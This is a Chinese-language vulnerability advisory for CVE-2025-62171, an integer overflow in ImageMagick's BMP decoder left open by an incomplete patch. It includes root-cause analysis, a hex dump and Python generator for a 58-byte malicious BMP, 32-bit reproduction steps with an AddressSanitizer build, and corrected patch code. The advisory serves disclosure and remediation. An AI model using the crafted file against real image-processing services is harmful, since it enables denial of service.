ImageMagick BMP解码器整数溢出漏洞(CVE-2025-62171)
漏洞详情
包信息
- 包管理器:nuget
- 受影响包:Magick.NET-Q16-AnyCPU、Magick.NET-Q16-HDRI-AnyCPU等
- 受影响版本:< 14.9.0
- 已修复版本:14.9.0
漏洞描述
摘要
CVE-2025-57803声称在ImageMagick 7.1.2-2中已修复,但该修复不完整且无效。最新版本7.1.2-5仍然容易受到相同的整数溢出攻击。
补丁添加了BMPOverflowCheck(),但将其放置在溢出发生之后,使其无效。一个恶意的58字节BMP文件可以触发AddressSanitizer崩溃和拒绝服务。
受影响版本
- ImageMagick < 7.1.2-2(最初报告)
- ImageMagick 7.1.2-2 至 7.1.2-5(补丁不完整)
平台和配置要求
- 仅限32位系统(i386、i686、armv7l等)
- 需要size_t = 4字节(64位系统不易受攻击,size_t = 8字节)
- 需要修改资源限制:必须手动增加默认的宽度、高度和区域限制(使用默认ImageMagick资源限制的系统不易受攻击)
详细分析(根本原因分析)
易受攻击的代码位置
文件:coders/bmp.c
行号:1120-1122(版本7.1.2-5中)
不完整的补丁
1
2
3
4
5
6
7
8
9
|
// 第1120行:整数溢出发生在此处
extent = image->columns * bmp_info.bits_per_pixel; // 溢出!
// 第1121行:使用已溢出的值
bytes_per_line = 4*((extent+31)/32);
// 第1122行:检查结果,而不是乘法
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
|
补丁失败的原因
攻击向量(32位系统):
输入BMP头:
- 宽度:536,870,912(0x20000000)
- 高度:1
- 每像素位数:32
32位系统上的计算:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
extent = 536,870,912 × 32
= 17,179,869,184 (0x400000000)
32位截断:
0x400000000 & 0xFFFFFFFF = 0x00000000 ← 溢出为零!
bytes_per_line = 4 × ((0 + 31) / 32)
= 4 × 0
= 0
BMPOverflowCheck(0, 1):
return (1 != 0) && (0 > 4294967295UL/1)
return True && (0 > 4294967295)
return True && False
return False ← 未检测到溢出!
|
检查失败是因为:
- 溢出发生在第1120行(extent计算)
- extent由于32位截断变为0
- bytes_per_line计算为0(第1121行)
- BMPOverflowCheck(0, 1)返回False(未检测到溢出)
- 代码继续使用损坏的值 → ASan崩溃
PoC(概念验证)
最小58字节BMP文件
十六进制转储:
1
2
3
4
|
00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.|
00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...|
00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 |..........|
|
关键字段:
- 偏移0x12:宽度 = 00 00 00 20 = 0x20000000(536,870,912)
- 偏移0x16:高度 = 01 00 00 00 = 1
- 偏移0x1C:BPP = 20 00 = 32
Python生成器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/env python3
import struct
width = 0x20000000 # 536,870,912
height = 1
bpp = 32
# BMP文件头(14字节)
file_header = b'BM'
file_header += struct.pack('<I', 58) # 文件大小
file_header += struct.pack('<HH', 0, 0) # 保留
file_header += struct.pack('<I', 54) # 像素偏移
# DIB头(40字节)
dib_header = struct.pack('<I', 40) # 头大小
dib_header += struct.pack('<i', width) # 宽度
dib_header += struct.pack('<i', height) # 高度
dib_header += struct.pack('<H', 1) # 平面
dib_header += struct.pack('<H', bpp) # BPP
dib_header += struct.pack('<I', 0) # 压缩
dib_header += struct.pack('<I', 0) # 图像大小
dib_header += struct.pack('<i', 2835) # X ppm
dib_header += struct.pack('<i', 2835) # Y ppm
dib_header += struct.pack('<I', 0) # 颜色
dib_header += struct.pack('<I', 0) # 重要颜色
pixel_data = b'\x00\x00\x00\x00'
with open('overflow.bmp', 'wb') as f:
f.write(file_header + dib_header + pixel_data)
print(f"Created overflow.bmp (58 bytes)")
|
重现步骤
环境设置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 使用32位Docker容器
docker run -it --name test-32bit i386/ubuntu:latest bash
# 安装依赖
apt-get update
apt-get install -y clang build-essential wget tar \
libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
zlib1g-dev liblzma-dev libbz2-dev
# 下载ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5
|
使用AddressSanitizer构建(32位重要!):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# 配置32位构建(关键 - 必须是32位!)
./configure \
--host=i686-pc-linux-gnu \
--disable-dependency-tracking \
--disable-silent-rules \
--disable-shared \
--disable-openmp \
--disable-docs \
--without-x \
--without-perl \
--without-magick-plus-plus \
--without-lqr \
--without-zstd \
--without-tiff \
--with-quantum-depth=8 \
--disable-hdri \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined"
make -j$(nproc)
|
触发漏洞
1
2
3
4
5
6
7
8
|
# 设置环境以绕过cache.c限制
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000
# 使用恶意BMP测试(使用上面的Python脚本创建)
./utilities/magick identify overflow.bmp
|
AddressSanitizer输出
1
2
3
4
5
6
7
8
|
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return:
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
|
它在以下环境中运行:
1
2
3
|
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000
|
影响
攻击场景
- 攻击者创建58字节的恶意BMP文件
- 上传到使用ImageMagick的Web服务(在32位系统上)
- ImageMagick尝试处理图像
- 整数溢出触发AddressSanitizer崩溃
- 服务变得不可用(拒绝服务)
现实世界目标
- 具有图像处理功能的Web托管平台
- 具有缩略图生成功能的CDN服务
- 传统嵌入式系统
- 运行32位Linux的IoT设备
- 使用32位基础镜像的Docker容器
建议修复
正确的补丁
溢出检查必须在乘法之前进行:
1
2
3
4
5
6
7
8
9
10
11
|
// 在计算extent之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");
// 现在安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);
// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
|
替代方案:使用64位算术
1
2
3
4
5
6
7
8
|
// 强制64位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;
if (extent_64 > UINT32_MAX)
ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");
extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);
|
致谢
wooseokdotkim
wooseokdotkim@gmail.com
参考
安全评分
- 严重程度:中等
- CVSS总体评分:4.4/10
- CVSS v3基础指标:AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H
- EPSS评分:0.049%(第15百分位)
弱点